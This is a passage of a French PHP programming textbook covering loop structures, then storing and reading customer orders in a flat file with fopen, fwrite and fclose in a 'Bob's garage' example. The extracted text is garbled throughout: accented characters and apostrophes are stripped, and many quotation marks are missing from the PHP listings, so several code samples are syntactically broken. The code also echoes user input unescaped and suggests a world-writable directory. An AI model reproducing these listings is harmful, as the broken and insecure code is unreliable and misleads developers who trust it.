Voici la structure de base dune boucle while :
while( condition ) expression;

La boucle while qui suit produit laffichage des nombres compris entre 1 et 5 :
$nbre = 1;
while ($nbre <= 5 )

Chapitre 1

PHP : les bases

57

{
echo $nbre . "<BR />";
$nbre++;
}

La condition est teste avant chaque itration : si elle est fausse, le bloc nest pas
excut et lexcution de la boucle prend fin. Linterprteur PHP passe alors linstruction
qui suit la boucle while.
Nous pouvons utiliser une boucle while pour accomplir une tche un peu plus utile,
comme afficher le tableau des cots dexpdition montr la Figure 1.7.
Le code donn dans le Listing 1.3 utilise une boucle while pour gnrer le tableau des
frais dexpdition.
Listing 1.3 : freight.php Gnration du tableau des frais dexpdition en PHP
<html>
<body>
<table border="0" cellpadding="3">
<tr>
<td bgcolor="#CCCCCC" align="center">Distance</td>
<td bgcolor="#CCCCCC" align="center">Cot</td>
</tr>
<?php
$distance = 50;
while ($distance <= 250 )
{
echo "<tr>\n <td align=right>$distance</td>\n";
echo " <td align =right>". $distance / 10 ."</td>\n</tr>\n";
$distance += 50;
}
?>
</table>
</body>
</html>

Pour que le code HTML produit par ce script soit plus lisible, vous devez ajouter des
sauts de lignes et des espaces. Comme on la dj voqu, les navigateurs les ignoreront, mais ils seront utiles aux lecteurs. Examinez le code HTML produit par vos scripts
pour vous assurer quil reste lisible.
Dans le Listing 1.3, vous pouvez constater que lon a ajout la squence \n dans certaines chanes. Cette squence reprsente le caractre de nouvelle ligne et produira donc
un saut de ligne lorsquil sera affich.

58

Partie I

Utilisation de PHP

Boucles for et foreach


Lemploi que nous avons fait de la boucle while dans lexemple prcdent est trs
classique. Nous avons dfini un compteur au dbut de la boucle. Avant chaque itration, le
compteur est test par une condition. la fin de chaque itration, le compteur est
modifi.
Il est possible dcrire ce style de boucle de manire plus compacte avec une boucle
for.
La structure dune boucle for est la suivante :
for( expression1; condition; expression2)
expression3;
m

expression1 est excute une fois au dbut de la boucle et contient normalement la


valeur initiale dun compteur.

Lexpression condition est teste avant chaque itration. Si condition se rvle


fausse, lexcution de la boucle sinterrompt. Cette expression est gnralement
utilise pour tester si le compteur a atteint une certaine limite.
expression2 est excute la fin de chaque itration et cest gnralement l que
lon met jour la valeur du compteur.
expression3 est excute une fois par itration. Cette expression est gnralement
un bloc de code et constitue le corps de la boucle.

Nous pouvons rcrire la boucle while du Listing 1.3 avec une boucle for. Le code
PHP devient alors :
<?php
for($distance = 50; $distance <= 250; $distance += 50)
{
echo "<tr>\n <td align=right>$distance</td>\n";
echo " <td align=right>". $distance / 10 ."</td>\n</tr>\n";
}
?>

Les deux versions proposes ici, avec une boucle while et avec une boucle for, sont
identiques dun point de vue fonctionnel mais la boucle for apparat lgrement plus
compacte (elle contient deux lignes de moins que la boucle while).
Ces deux types de boucles sont quivalents : aucun nest meilleur que lautre. Dans
chaque situation, il vous appartient de choisir celui qui vous semble le plus intuitif.
Notez quil est possible de combiner des variables dynamiques avec une boucle for
pour traiter automatiquement une suite de champs de formulaire. Si, par exemple, le

Chapitre 1

PHP : les bases

59

formulaire contient des champs nom1, nom2, nom3, etc., vous pouvez implmenter leur
traitement de la manire suivante :
for ($i=1; $i <= $nbre_noms; $i++)
{
$temp= "nom$i";
echo $$temp.<br />; // ou tout autre traitement ncessaire
}

En crant dynamiquement les noms des variables, nous pouvons accder successivement
aux diffrents champs du formulaire.
Signalons quil existe galement une boucle foreach spcifiquement conue pour les
tableaux. Nous montrerons comment lutiliser au Chapitre 3.
Boucles dowhile
Le dernier type de boucle quil nous reste tudier a un comportement lgrement
diffrent. La structure gnrale dune boucle dowhile est la suivante :
do
expression;
while( condition );

Une boucle dowhile diffre dune boucle while en ce que sa condition est teste la
fin de chaque itration. Il sensuit que dans une boucle dowhile linstruction ou le bloc
formant le corps de la boucle est systmatiquement excut une fois au moins.
Dans lexemple qui suit, o la condition se rvle fausse demble et ne peut jamais tre
vraie, la boucle est excute une premire fois avant que la condition ne soit value et
que lexcution de la boucle prenne fin :
$nbre = 100;
do
{
echo $nbre . <BR />;
}
while ($nbre < 1 );

Interruption de lexcution dune structure de contrle


ou dun script
Pour interrompre lexcution dun morceau de code, trois approches sont envisageables,
selon leffet recherch.
Pour arrter lexcution dune boucle, vous pouvez utiliser linstruction break, comme
nous lavons dj fait dans la section traitant de la structure switch. Lorsquune instruction break est insre dans une boucle, lexcution du script se poursuit la ligne du
script qui suit la boucle.

60

Partie I

Utilisation de PHP

Pour interrompre lexcution dune itration dune boucle et passer directement


litration suivante, vous pouvez employer linstruction continue.
Pour interrompre dfinitivement lexcution dun script PHP, vous pouvez utiliser
linstruction exit. Celle-ci est particulirement utile lors du traitement des erreurs.
Lexemple donn plus haut pourrait ainsi tre modifi de la manire suivante :
if( $qte_totale == 0)
{
echo Votre commande ne contient aucun article!<br>;
exit;
}

Lappel de la fonction exit empche linterprteur PHP dexcuter le reste du script.

Employer lautre syntaxe des structures de contrle


Pour toutes les structures de contrle que nous avons examines, il existe une syntaxe
alternative. Elle consiste remplacer laccolade ouvrante ({) par un signe deux points
(:) et laccolade fermante par un nouveau mot-cl, qui sera endif, endswitch,
endwhile, endfor ou endforeach, selon la structure de contrle utilise. Aucune
syntaxe alternative nest propose pour les boucles do...while.
Par exemple, le code suivant :
if( $qte_totale == 0)
{
echo Votre commande ne contient aucun article!<br />;
exit;
}

pourrait tre converti dans cette nouvelle syntaxe en utilisant les mots-cls if et endif :
if( $qte_totale == 0):
echo Votre commande ne contient aucun article!<br />;
exit;
endif;

Utiliser declare
Une autre structure de contrle de PHP, la structure declare, nest pas utilise aussi
frquemment pour la programmation quotidienne que ne le sont les autres structures.
La forme gnrale de cette structure de contrle est la suivante :
declare (directive)
{
// bloc
}

Chapitre 1

PHP : les bases

61

Cette structure sert dfinir des directives dexcution pour le bloc de code autrement
dit, des rgles spcifiant de quelle manire le code qui suit doit tre excut. Actuellement, seule une directive dexcution, appele ticks, a t implmente. Elle se dfinit
en insrant la directive ticks=n et vous permet dexcuter une fonction spcifique
toutes les n lignes dans le bloc de code, ce qui est principalement utile pour le profilage
et le dbogage.
La structure de contrle declare nest mentionne ici que par souci dexhaustivit.
Nous prsenterons quelques exemples concernant lutilisation des fonctions tick aux
Chapitres 23 et 24.

Prochaine tape : enregistrement de la commande du client


Vous savez prsent recevoir et manipuler la commande dun client. Au cours du
prochain chapitre, nous verrons comment enregistrer cette commande de sorte
pouvoir la retrouver et la traiter ultrieurement.

2
Stockage et rcupration
des donnes
Maintenant que vous savez accder aux donnes saisies dans un formulaire HTML et
manipuler ces donnes, nous pouvons examiner les moyens de stockage de ces informations qui permettent de les retrouver et de les utiliser ultrieurement. Dans notre
exemple, les commandes passes en ligne par les clients doivent tre enregistres, de
sorte pouvoir les traiter et les satisfaire ultrieurement.
Dans ce chapitre, nous verrons comment, dans le contexte de lexemple prcdent,
crire dans un fichier la commande transmise par un client et comment la lire ensuite
partir de ce fichier. Nous verrons galement quun tel stockage ne constitue pas toujours
une bonne solution. Si le nombre de commandes est lev, lemploi dun systme de
gestion de base de donnes comme MySQL devient indispensable.

Stockage des donnes en vue dun usage ultrieur


Deux modes de stockage des donnes sont envisageables : dans des fichiers "plats" ou
dans une base de donnes.
Un fichier plat peut tre enregistr sous de nombreux formats. En gnral, toutefois,
lexpression "fichier plat" dsigne un simple fichier texte. Dans notre exemple, nous
crirons les commandes client dans un fichier texte, raison dune commande par ligne.
Ce mode de stockage est trs simple mettre en uvre mais se rvle assez limit,
comme nous le verrons un peu plus loin dans ce chapitre. Si les informations traiter
atteignent un certain volume, lusage dune base de donnes est fortement recommand.
Les fichiers plats restent nanmoins trs utiles dans certaines situations et mritent que
vous sachiez les manipuler.

64

Partie I

Utilisation de PHP

Lcriture et la lecture dans des fichiers seffectuent quasiment de la mme manire


dans tous les langages de programmation. Si vous connaissez un peu la programmation C ou les scripts shell Unix, les principes dcrits ici vous seront donc trs
familiers.

Stockage et rcupration des commandes de Bob


Dans ce chapitre, nous considrerons une version lgrement modifie du formulaire de
commande examin dans le premier chapitre. Nous partirons de ce formulaire et du
code PHP que nous avons crit pour traiter les donnes entres par les clients.
INFO
Vous trouverez tous les scripts HTML et PHP utiliss dans ce chapitre dans le rpertoire
chapitre 02 tlcharger sur le site Pearson.

Nous avons modifi le formulaire pour lui ajouter un champ permettant de saisir
ladresse de livraison du client (voir Figure 2.1).
Figure 2.1
Dans cette version du formulaire de commande
de lentreprise de Bob,
un champ supplmentaire
est propos pour la saisie
de ladresse de livraison.

Le champ de formulaire pour ladresse de livraison sappelle adresse:, vous pouvez


donc accder sa valeur via $ REQUEST[adresse], $ POST[adresse] ou
$ GET[adresse], selon la mthode de soumission du formulaire (pour plus dinformations, consultez le Chapitre 1). Nous crirons dans le mme fichier chaque nouvelle
commande transmise par un client. Puis nous construirons une interface web grce
laquelle lquipe de Bob pourra visualiser les commandes reues.

Chapitre 2

Stockage et rcupration des donnes

65

Prsentation des fonctions de traitement des fichiers


Lcriture dans un fichier seffectue en trois tapes :
1. Ouverture du fichier. Si le fichier nexiste pas encore, il doit tre cr.
2. criture des donnes dans le fichier.
3. Fermeture du fichier.
De la mme manire, la lecture des donnes dun fichier seffectue en trois tapes :
1. Ouverture du fichier. Si louverture du fichier se rvle impossible (par exemple
parce que le fichier nexiste pas), nous devons le dtecter et interrompre correctement
le processus engag.
2. Lecture des donnes dans le fichier.
3. Fermeture du fichier.
Lors de la lecture de donnes dans un fichier, vous pouvez prciser la proportion du
fichier qui sera lue chaque opration de lecture. Nous allons dcrire en dtail les diffrentes possibilits qui se prsentent.
Pour linstant, commenons par ouvrir un fichier.

Ouverture dun fichier


En PHP, louverture dun fichier seffectue au moyen de la fonction fopen(). Lors de
louverture dun fichier, vous devez spcifier le mode douverture, cest--dire la
manire dont vous voulez lutiliser.
Modes douverture des fichiers
Lorsque vous ouvrez un fichier, vous devez vous prononcer sur trois points :
1. Vous avez la possibilit douvrir un fichier en lecture seule, en criture seule, ou
bien encore en lecture et en criture.
2. Pour crire des donnes dans le fichier, vous pouvez soit remplacer le contenu existant par vos nouvelles donnes ("craser" le contenu), soit ajouter les nouvelles
donnes la suite du contenu existant. Vous pourriez galement souhaiter terminer
votre programme de manire contrle au lieu dcraser un fichier si le fichier existe
dj.
3. Si vous crivez un fichier dans un systme qui diffrencie les fichiers binaires des
fichiers texte, vous devez spcifier le type souhait pour votre fichier.
La fonction fopen() permet de spcifier vos choix concernant ces trois points.

66

Partie I

Utilisation de PHP

Utilisation de fopen() pour ouvrir un fichier


Supposons que nous voulions enregistrer une commande client dans le fichier regroupant les commandes de lentreprise de Bob. Nous pouvons ouvrir ce fichier en criture
de la manire suivante :
$fp = fopen("$DOCUMENT_ROOT/../orders/orders.txt", w);

Lorsquelle est invoque, la fonction fopen() attend deux, trois ou quatre paramtres.
Le plus souvent, vous nen donnerez que deux, comme dans la ligne de code prcdente.
Le premier paramtre est le nom du fichier ouvrir. Ce nom peut ventuellement contenir un chemin daccs, comme dans linstruction prcdente (le fichier orders.txt est
enregistr dans le rpertoire orders). Nous avons utilis la variable prdfinie de PHP
$ SERVER[DOCUMENT ROOT] mais, comme il est peu pratique de manipuler des variables
aux noms longs, nous lui avons attribu un nom abrg.
Cette variable pointe sur la racine de larborescence des documents du serveur web. La
paire de points ("..") signifie "le rpertoire pre du rpertoire racine des documents" :
ce rpertoire est donc situ lextrieur de larborescence des documents pour des
raisons de scurit. En effet, ce fichier doit demeurer inaccessible partir du Web, sauf
par le biais de linterface que nous allons fournir cet effet. Un tel chemin daccs est
qualifi de relatif, parce quil dcrit un emplacement dans le systme de fichier par
rapport la racine de larborescence des documents.
Puisque nous prfrons utiliser le style abrg pour le rfrencement des variables, il
nous faut ajouter la ligne suivante au dbut de notre script :
$DOCUMENT_ROOT = $_SERVER[DOCUMENT_ROOT];

pour copier le contenu de la variable exprime dans le style long dans une variable au
nom abrg.
De la mme faon que nous disposons de plusieurs possibilits pour accder des
donnes de formulaire, il y a diffrentes possibilits pour accder aux variables prdfinies du serveur. Selon la configuration de votre serveur, vous pouvez dsigner la racine
de larborescence des documents par :
m

$ SERVER[DOCUMENT ROOT]

$DOCUMENT ROOT

$HTTP SERVER VARS[DOCUMENT ROOT]

Comme pour les donnes de formulaire, nous conseillons dutiliser le premier style.
Il est galement possible dindiquer un chemin daccs absolu, cest--dire partant du
rpertoire racine (/ dans un systme Unix et gnralement C:\ dans un systme

Chapitre 2

Stockage et rcupration des donnes

67

Windows). Sur notre serveur Unix, ce chemin serait de la forme /home/book/orders.


Le problme de cette approche, surtout si vous faites hberger votre site sur le serveur
dun tiers, est que le chemin absolu peut changer. Nous lavons appris nos dpens
lorsque les administrateurs systme ont dcid de modifier la structure des rpertoires
sans crier gare et quil nous a fallu prcipitamment changer les chemins absolus dans un
grand nombre de scripts.
Lorsque aucun chemin daccs nest spcifi, le fichier est cr ou recherch dans le
mme rpertoire que celui contenant le script. Ce comportement peut toutefois diffrer
si PHP est excut par le biais dun wrapper CGI ; il dpend aussi de la configuration du
serveur.
Dans un environnement Unix, vous devez utiliser des barres obliques ( /) dans les
chemins daccs aux rpertoires tandis que, sur une plate-forme Windows, vous pouvez
aussi bien employer des barres obliques que des barres obliques inverses ( \). Si vous
utilisez des barres obliques inverses lors dun appel fopen, vous devez les "protger"
pour quelles soient correctement interprtes. Pour cela, il suffit de doubler les barre
obliques inverses, comme ici :
$fp = fopen("$DOCUMENT_ROOT\\..\\orders\\orders.txt", w);

Trs peu de gens utilisent des barres obliques inverses (pour faire court, on les appelle
souvent antislashes) pour spcifier des chemins daccs en PHP car le code qui en
rsulte ne pourrait sexcuter que sur Windows. Si vous utilisez des barres obliques, au
contraire, votre code fonctionnera sans modification aussi bien sur des ordinateurs
Windows quUnix.
Le deuxime paramtre passer la fonction fopen() est le mode douverture du
fichier, qui doit tre spcifi sous la forme dune chane. Celui-ci indique lusage prvu
pour le fichier. Dans lexemple considr ici, nous avons utilis la valeur w, ce qui
signifie que le fichier doit tre ouvert en criture. Le Tableau 2.1 rcapitule les diffrents modes douverture disponibles.
Tableau 2.1 : Rcapitulatif des diffrents modes douverture dun appel fopen

Mode

Nom du mode

Signification

Lecture

Le fichier est ouvert en lecture, partir de son dbut.

r+

Lecture

Le fichier est ouvert en lecture et en criture, partir de


son dbut.

criture

Le fichier est ouvert en criture, partir de son dbut. Si le


fichier existe dj, son contenu est cras. Dans le cas
contraire, le fichier est cr.

68

Partie I

Utilisation de PHP

Tableau 2.1 : Rcapitulatif des diffrents modes douverture dun appel fopen (suite)

Mode

Nom du mode

Signification

w+

criture

Le fichier est ouvert en criture et en lecture, partir de


son dbut. Si le fichier existe dj, son contenu est cras.
Dans le cas contraire, le fichier est cr.

criture prudente

Le fichier est ouvert en criture, partir de son dbut. Si le


fichier existe dj, il nest pas ouvert : fopen() renvoie
false et PHP produit un avertissement.

x+

criture prudente

Le fichier est ouvert en criture et en lecture, partir de


son dbut. Si le fichier existe dj, il nest pas ouvert :
fopen() renvoie false et PHP produit un avertissement.

Ajout

Le fichier est ouvert en ajout (criture) uniquement, en


commenant la fin du contenu existant. Si le fichier
nexiste pas, PHP tente de le crer.

a+

Ajout

Le fichier est ouvert en ajout (criture) et lecture, en


commenant la fin du contenu existant. Si le fichier
nexiste pas, PHP tente de le crer.

Binaire

Utilis en conjonction avec lun des autres modes


douverture dans les systmes de fichiers faisant la
distinction entre les fichiers binaires et les fichiers texte
(cest le cas des systmes Windows, mais pas dUnix).
Les dveloppeurs PHP recommandent dutiliser toujours
cette option pour une portabilit optimale. Il sagit du
mode par dfaut.

Texte

Utilis en conjonction avec lun des autres modes. Il nest


propos en option que sur les systmes Windows et nous
dconseillons de lutiliser, sauf avant davoir port votre
code pour quil fonctionne avec loption b.

Le choix du mode douverture dpend de la manire dont le systme doit tre utilis.
Dans lexemple donn ici, le choix du mode "w" implique que le fichier ne pourra contenir quune seule commande client la fois : chaque entre dune nouvelle commande,
la commande existante sera efface et remplace par la nouvelle. Ce choix nest
videmment pas le plus judicieux et le mode "a" apparat plus appropri (avec le mode
binaire, selon la recommandation) :
$fp = fopen("$DOCUMENT_ROOT/../orders/orders.txt", ab);

Le troisime paramtre de fopen() est facultatif. Il permet de rechercher un fichier dans


la liste des rpertoires indique par include path (qui est dfinie dans la configuration

Chapitre 2

Stockage et rcupration des donnes

69

de PHP ; voir lAnnexe A). Pour effectuer une telle recherche, le troisime paramtre doit valoir 1. Si vous demandez PHP de se servir de la valeur du paramtre
include path, il est inutile de fournir un nom de rpertoire ou un chemin daccs :
$fp = fopen(orders.txt, ab, true);

Le quatrime paramtre est galement facultatif. La fonction fopen() permet aux noms
de fichiers dtre prfixs avec un protocole (comme http://) et ouverts un emplacement distant. Certains protocoles autorisent un paramtre supplmentaire. Nous traiterons
de cet usage de la fonction fopen() dans les sections suivantes de ce chapitre.
Si fopen() russit ouvrir le fichier, elle renvoie une ressource qui est un descripteur
du fichier et qui doit tre enregistr dans une variable ($fp dans le cas prsent). Cette
variable permet ensuite daccder au fichier pour y lire ou y crire des donnes.
Ouverture de fichiers via FTP ou HTTP
De la mme manire que vous pouvez ouvrir des fichiers locaux en lecture ou en criture, fopen() vous permet douvrir des fichiers via FTP (File Transfer Protocol) ou
HTTP (Hyper Text Transfer Protocol). Vous pouvez empcher cette fonctionnalit en
dsactivant la directive allow url fopen dans le fichier php.ini. Si vous rencontrez
des problmes pour ouvrir les fichiers distants avec fopen(), vrifiez votre fichier
php.ini.
Lorsque le nom de fichier utilis commence par ftp://, une connexion FTP en mode
passif est ouverte sur le serveur indiqu et fopen() renvoie un pointeur sur le dbut du
fichier.
Lorsque le nom de fichier utilis commence par http://, une connexion HTTP est
ouverte sur le serveur indiqu et fopen() renvoie un pointeur sur la rponse fournie. Si
vous utilisez le mode HTTP avec danciennes versions de PHP, vous devez terminer les
noms de rpertoires par des barres obliques, comme ici :
http://www.example.com/

Ncrivez pas :
http://www.example.com

Avec cette dernire formulation (sans barre oblique finale), le serveur web effectuera
normalement une redirection HTTP de sorte vous renvoyer vers la premire adresse
(avec la barre oblique finale). Faites lessai avec votre navigateur.
Notez bien que la casse (lusage de minuscules/majuscules) na pas dimportance
dans les noms de domaines mais peut en avoir dans les noms et chemins daccs des
fichiers.

70

Partie I

Utilisation de PHP

Problmes douverture de fichiers


Une des erreurs les plus frquemment commises louverture des fichiers consiste
essayer douvrir un fichier sans bnficier de la permission adquate. Cette erreur
survient couramment sur les systmes dexploitation de type Unix, mais vous pouvez
galement la voir apparatre occasionnellement sous Windows. Dans une telle situation
derreur, PHP envoie un avertissement comme celui de la Figure 2.2.

Figure 2.2
PHP affiche un avertissement explicite lorsque louverture dun fichier est impossible.

Face une telle erreur, vous devez vrifier que lutilisateur sous le compte duquel le script
sexcute bnficie des permissions daccs adquates pour le fichier utiliser. Selon la
manire dont est configur votre serveur, le script peut tre excut sous le compte du
serveur web ou sous celui du propritaire du rpertoire contenant le script.
Dans la plupart des systmes, les scripts sont excuts sous le compte du serveur web.
Si, par exemple, votre script est plac dans le rpertoire ~/public_html/chapitre02/ dun
systme Unix, vous pouvez crer un rpertoire accessible tout le monde en criture
afin dy stocker la commande :
mkdir ~/orders
chmod 777 ~/orders

Chapitre 2

Stockage et rcupration des donnes

71

Gardez bien lesprit le danger que constituent les rpertoires et les fichiers dans
lesquels tout le monde peut crire. Vous devez imprativement viter dautoriser lcriture dans des rpertoires directement accessibles partir du Web. Cest pour cette raison
que, dans lexemple dcrit ici, le rpertoire orders se situe deux sous-rpertoires en
amont, sous le rpertoire public_html. Nous aborderons plus en dtail cet aspect de la
scurit au Chapitre 13.
Si un mauvais paramtrage des permissions daccs constitue lerreur la plus commune
lors de louverture dun fichier, dautres erreurs peuvent galement tre commises.
Lorsquun fichier ne peut pas tre ouvert, il est capital que vous en soyez inform, pour
viter de tenter dy lire ou dy crire des donnes.
Lorsque lappel de la fonction fopen() choue, celle-ci renvoie la valeur false. Vous
pouvez alors traiter lerreur survenue avec plus de convivialit en supprimant le
message derreur PHP et en produisant votre propre message derreur :
@ $fp = fopen("$DOCUMENT_ROOT/../orders/orders.txt", ab);
if (!$fp)
{
echo <p><strong>Nous ne pouvons pas traiter votre commande .
pour le moment. Ressayez plus tard.</strong></p> .
</body></html>;
exit;
}

La prsence du symbole @ avant lappel de la fonction fopen() informe PHP quil doit
supprimer toute erreur produite par lappel la fonction. Il est gnralement prfrable
dtre inform lorsquun problme survient mais, dans le cas prsent, nous nous occuperons des erreurs un autre endroit du script.
Cette ligne peut galement tre crite de la manire suivante :
$fp = @fopen("$DOCUMENT_ROOT/../orders/orders.txt", a);

Mais cette formulation rend moins vident le recours loprateur de suppression des
erreurs.
La mthode dcrite ici est un moyen trs simple de grer les erreurs. Nous prsenterons
une mthode plus lgante au Chapitre 7. Chaque chose en son temps.
Linstruction if teste la variable $fp pour dterminer si lappel fopen a renvoy un
descripteur de fichier valide. Si ce nest pas le cas, elle affiche un message derreur et
interrompt lexcution du script. La page se terminant alors ce stade, nous avons
inclus les balises de fermeture HTML appropries de manire produire un code
HTML valide.

72

Partie I

Utilisation de PHP

Avec cette dernire approche, le rsultat obtenu lexcution du script est celui de la
Figure 2.3.
Figure 2.3
Pour plus de convivialit, vous pouvez
afficher vos propres
messages derreur
la place des avertissements produits par
PHP.

criture dans un fichier


Lcriture dans un fichier est une opration assez simple raliser en PHP. Vous pouvez
utiliser lune ou lautre des fonctions fwrite() et fputs() ; la seconde est un alias de la
premire. Dans notre exemple, lappel fwrite() peut seffectuer de la manire
suivante :
fwrite($fp, $chaine_sortie);

Cette instruction demande linterprteur PHP dcrire la chane stocke dans la variable
$chaine sortie dans le fichier dcrit par $fp.
La fonction file put contents() est une alternative fwrite(). Elle possde le
prototype suivant :
int file_put_contents ( string nomfichier,
string donnees
[, int drapeaux
[, resource contexte]])

Cette fonction crit la chane contenue dans donnees dans le fichier nomfichier sans
requrir dappel la fonction fopen() (ni fclose()). Cette fonction est apparue avec
PHP5, tout comme file get contents() que nous prsenterons bientt. Les paramtres facultatifs drapeaux et contexte sont le plus souvent utiliss lors de lcriture vers
des fichiers distants en utilisant par exemple HTTP ou FTP (nous prsenterons ces
fonctions au Chapitre 18).

Chapitre 2

Stockage et rcupration des donnes

73

Paramtres de la fonction fwrite()


La fonction fwrite() prend trois paramtres, le troisime tant facultatif. Le prototype
de fwrite() est le suivant :
int fputs(resource descripteur, string chane[, int longueur]);

Le troisime paramtre, longueur, indique le nombre maximal doctets crire. Lorsque ce paramtre est fourni, la fonction fwrite() crit le contenu de chane dans le
fichier dcrit par descripteur, jusqu atteindre la fin de la chane ou jusqu avoir crit
le nombre doctets spcifi dans longueur.
Vous pouvez connatre la longueur dune chane en utilisant la fonction intgre
strlen() de PHP, comme ceci :
fwrite($fp, $chaine_sortie, strlen($chaine_sortie));

Vous pouvez utiliser ce troisime paramtre lors de lcriture en mode binaire, car il
permet dviter certains problmes de compatibilit entre les plates-formes.
Formats de fichiers
Lors de la cration dun fichier de donnes comme celui que nous avons cr dans notre
exemple, le choix du format de stockage des donnes vous appartient (bien sr, si vous
prvoyez dutiliser le fichier de donnes avec une autre application, vous devez en tenir
compte dans votre choix).
Construisons une chane reprsentant un enregistrement dans notre fichier de donnes.
Nous pouvons procder comme ceci :
$chaine_sortie = "$date\t$qte_pneus pneus\t$qte_huiles bidons " .
"dhuile\t$qte_bougies bougies\t$montant_total \t" .
"$adresse\n";

Dans cet exemple simple, chaque commande est stocke dans une ligne distincte du
fichier des commandes. Lcriture dun enregistrement par ligne nous permet en effet
dutiliser un sparateur denregistrement simple : le caractre de nouvelle ligne. Les
caractres de nouvelle ligne sont invisibles et sont reprsents par la squence "\n".
Pour chaque nouvelle commande, les champs de donnes sont crits dans le mme
ordre et sont distingus les uns des autres par le caractre de tabulation, reprsent par
la squence "\t". Mieux vaut choisir un dlimiteur de champ qui facilite ensuite la
rcupration des donnes.
Le sparateur ou dlimiteur doivent tre des caractres peu susceptibles dtre contenus
dans les donnes entres, faute de quoi nous devrions traiter ces donnes pour retirer ou
protger toutes les instances du dlimiteur. Nous reviendrons sur le traitement des
donnes fournies en entre au Chapitre 4. Pour lheure, nous supposerons quaucun
client na introduit de tabulation au cours de sa saisie dans le formulaire de commande.

74

Partie I

Utilisation de PHP

Il est difficile, mais pas impossible, quun utilisateur dun formulaire HTML insre une
tabulation ou un saut de ligne dans un champ de saisie HTML dune seule ligne.
En utilisant un sparateur de champ spcial, nous pourrons par la suite scinder plus
facilement les donnes en variables distinctes lorsque nous voudrons rcuprer les
donnes contenues dans le fichier. Nous reviendrons sur ce point au Chapitre 3. Pour
linstant, nous nous contenterons de traiter chaque commande comme une chane dun
seul tenant.
Le Listing 2.1 donne un exemple du contenu du fichier orders.txt aprs lcriture de
quelques commandes.
Listing 2.1 : orders.txt Exemple de contenu possible
20:30, le 31-03 4 pneus
20:42, le 31-03 1 pneus
20:43, le 31-03 0 pneus

1 bidons dhuile 6 bougies


0 bidons dhuile 0 bougies
1 bidons dhuile 4 bougies

434.00
100.00
26.00

22 rue de la pompe, Paris


33 grande rue, Toulouse
27 rue des acacias, Bordeaux

Fermeture dun fichier


Lorsque vous en avez fini avec un fichier, vous devez le fermer au moyen de la fonction
fclose() :
fclose($fp);

La fonction fclose() renvoie la valeur true si la fermeture du fichier a russi, ou false


en cas dchec. Le risque dchec tant moins grand pour une opration de fermeture de
fichier que pour une opration douverture, nous avons choisi ici de ne pas vrifier cette
opration.
Le listing complet de la version finale de processorder.php est prsent dans le
Listing 2.2.
Listing 2.2 : processorder.php Version finale du script de traitement des commandes
<?php
// Cre des noms de variables abrges
$qte_pneus = $_POST[qte_pneus];
$qte_huiles = $_POST[qte_huiles];
$qte_bougies = $_POST[qte_bougies];
$adresse = $_POST[adresse];
$DOCUMENT_ROOT = $_SERVER[DOCUMENT_ROOT];
?>
<html>
<head>
<title>Le garage de Bob Rsultats de la commande</title>
</head>
<body>

Chapitre 2

Stockage et rcupration des donnes

<h1>Le garage de Bob</h1>


<h2>Rsultats de la commande</h2>
<?php
$date = date(H:i, \l\e j-m-Y);
echo <p>Commmande traite ;
echo $date;
echo </p>;
echo <p>Rcapitulatif de votre commande:</p>;
$qte_totale = 0;
$qte_totale = $qte_pneus + $qte_huiles + $qte_bougies;
echo Articles commands: . $qte_totale . <br />;
if( $qte_totale == 0)
{
echo "Vous navez rien command!<br />";
}
else
{
if ( $qte_pneus > 0 )
echo $qte_pneus . pneus<br />;
if ( $qte_huiles > 0 )
echo $qte_huiles . " bidons dhuile<br />";
if ( $qte_bougies > 0 )
echo $qte_bougies . bougies<br />;
}
$montant_total = 0.00;
define(PRIX_PNEUS, 100);
define(PRIX_HUILES, 10);
define(PRIX_BOUGIES, 4);
$montant_total = $qte_pneus * PRIX_PNEUS
+ $qte_huiles * PRIX_HUILES
+ $qte_bougies * PRIX_BOUGIES;
$montant_total = number_format($montant_total, 2, ., );
echo <p>Total de la commande: . $montant_total . </p>;
echo <p>Adresse de livraison: . $adresse . </p>;
$chaine_sortie = "$date\t$qte_pneus pneus\t$qte_huiles bidons " .
"dhuile\t$qte_bougies bougies\t$montant_total \t" .
"$adresse\n";
// Ouverture du fichier en mode ajout
@ $fp = fopen("$DOCUMENT_ROOT/../orders/orders.txt", ab);
if (!$fp)
{
echo <p><strong>Nous ne pouvons pas traiter votre commande .
pour le moment. Ressayez plus tard.</strong></p> .
</body></html>;
exit;

75

76

Partie I

Utilisation de PHP

}
fwrite($fp, $chaine_sortie, strlen($chaine_sortie));
fclose($fp);
echo <p>Commande sauvegarde.</p>;
?>
</body>
</html>

Lecture dans un fichier


ce stade de notre projet modle, les clients de Bob peuvent transmettre leurs
commandes via le Web, mais pour que les employs puissent traiter ces commandes ils
doivent pouvoir ouvrir les fichiers qui les contiennent. Nous allons donc crer une interface web qui permettra aux employs de lire facilement ces fichiers. Le code de cette
interface est prsent dans le Listing 2.3.
Listing 2.3 : vieworders.php Interface web pour louverture et la lecture des fichiers
<?php
//cration du nom de variable abrg
$DOCUMENT_ROOT = $_SERVER[DOCUMENT_ROOT];
?>
<html>
<head>
<title>Le garage de Bob - Commandes des clients</title>
</head>
<body>
<h1>Le garage de Bob</h1>
<h2>Commandes des clients</h2>
<?php
@$fp = fopen("$DOCUMENT_ROOT/../orders/orders.txt", rb);
if (!$fp)
{
echo <p><strong>Aucune commande en attente.
. Essayez plus tard.</strong></p>;
exit;
}
while (!feof($fp))
{
$commande = fgets($fp, 999);
echo $commande .<br />;
}
fclose($fp);
?>
</body>
</html>

Chapitre 2

Stockage et rcupration des donnes

77

Ce script met en uvre la srie doprations voque prcdemment : ouverture du


fichier, lecture dans le fichier et fermeture du fichier. Son excution avec le fichier de
donnes dcrit dans le Listing 2.1 produit le rsultat montr la Figure 2.4.
Figure 2.4
Lexcution du script
vieworders.php affiche
dans la fentre du navigateur web toutes les
commandes enregistres
dans le fichier orders.txt.

Examinons en dtail les diffrentes fonctions utilises dans ce script.


Ouverture dun fichier en lecture : fopen()
L aussi, louverture du fichier seffectue au moyen de la fonction fopen(). Dans ce
cas, toutefois, on utilise le mode "rb" pour indiquer PHP que le fichier doit tre ouvert
en lecture seule :
$fp = fopen("$DOCUMENT_ROOT/../orders/orders.txt", rb);

Dtermination du moment o doit sarrter la lecture : feof()


Dans le Listing 2.3, on se sert dune boucle while pour lire le fichier jusqu la fin.
Cette boucle teste si la fin du fichier est atteinte au moyen de la fonction feof() :
while (!feof($fp))

La fonction feof() prend comme seul paramtre un descripteur de fichier et renvoie


true si ce descripteur est positionn la fin du fichier. Le terme feof est labrviation
de lexpression "File End Of File" (fichier fin de fichier).
Dans notre exemple (comme en gnral dans toutes les situations de lecture dans un
